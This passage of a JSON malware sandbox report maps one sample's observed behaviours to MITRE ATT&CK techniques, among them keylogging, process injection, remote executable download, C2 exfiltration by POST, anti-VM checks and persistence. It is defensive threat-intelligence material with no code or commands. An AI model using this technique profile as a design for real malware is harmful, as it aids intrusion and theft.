string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Time Based Evasion"},{"attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Reflective Code Loading"},{"attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Embedded Payloads"},{"attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Keylogging"},{"attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Input Capture"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Connections Discovery"},{"attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Owner/User Discovery"},{"attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Software Discovery"},{"attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Security Software Discovery"},{"attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Data Staging"},{"attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Clipboard Data"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Queries the display settings of system associated file extensions"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Information Repositories"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"ListPlanting"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Time Discovery"},{"attack_id":"T1563.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1563/002","identifiers":[{"type":"informative","value":"Able to access a remote server session"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"RDP Hijacking"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops a Windows setup information (INF) file"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"},{"attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Internal Proxy"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Command and Scripting Interpreter"},{"attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"suspicious","value":"Calls an API typically used to retrieves adapter information"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Configuration Discovery"},{"attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Archive via Library"},{"attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Impact","technique":"Endpoint Denial of Service"},{"attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Shortcut Modification"},{"attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Office Application Startup"},{"attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Boot or Logon Autostart Execution"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"malicious","value":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Remote System Discovery"},{"attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Local Account"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Non-Application Layer Protocol"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Portable Executable Injection"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Contains ability to retrieve information set for devices (API string)"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Automated Collection"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Domain Generation Algorithms"},{"attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Symmetric Cryptography"},{"attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to stop windows services"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Opens a handle to the specified local process"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Impact","technique":"Service Stop"},{"attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder"},{"attack_id":"T1069.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/003","identifiers":[{"type":"informative","value":"May be able to execute Exchange Online Remote PowerShell Modulee"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Cloud Groups"},{"attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Writes archive files"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Archive Collected Data"},{"attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Asymmetric Cryptography"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"},{"attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"suspicious","value":"YARA signature match - RMM tools"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Remote Access Tools"},{"attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Impact","technique":"System Shutdown/Reboot"},{"attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Email Collection"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"},{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Access Token Manipulation"},{"attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains ability to query volume size"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"System Checks"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"Possible archive activity detected"},{"type":"informative","value":"YARA signature match - Detects 7zip files"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Archive via Utility"},{"attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Scheduled Transfer"},{"attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"informative","value":"Contains ability to delete device information set (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Destruction"},{"attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Socket Filters"},{"attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"User Activity Based Checks"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Lateral Tool Transfer"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"User-Agent string indicates scripted web access"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"DLL"},{"attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection"}],"rule_matches":{},"sandbox_signatures":[{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-84","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to find logical drives of the machine (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-309","level":"informative","mitre_attack_id":"T1055.003","name":"Able to modify thread functionality – possible hijack (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 47650000","id":"module-7","level":"informative","mitre_attack_id":"T1620","name":"Loads the CLR Loader DLL","origin":"Loaded Module","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"19001a000000000040c76e74f87f0000@ntdll.dll\"\n \"220023000000000018c76e74f87f0000@ntdll.dll\"","id":"api-8","level":"informative","mitre_attack_id":"T1129","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, 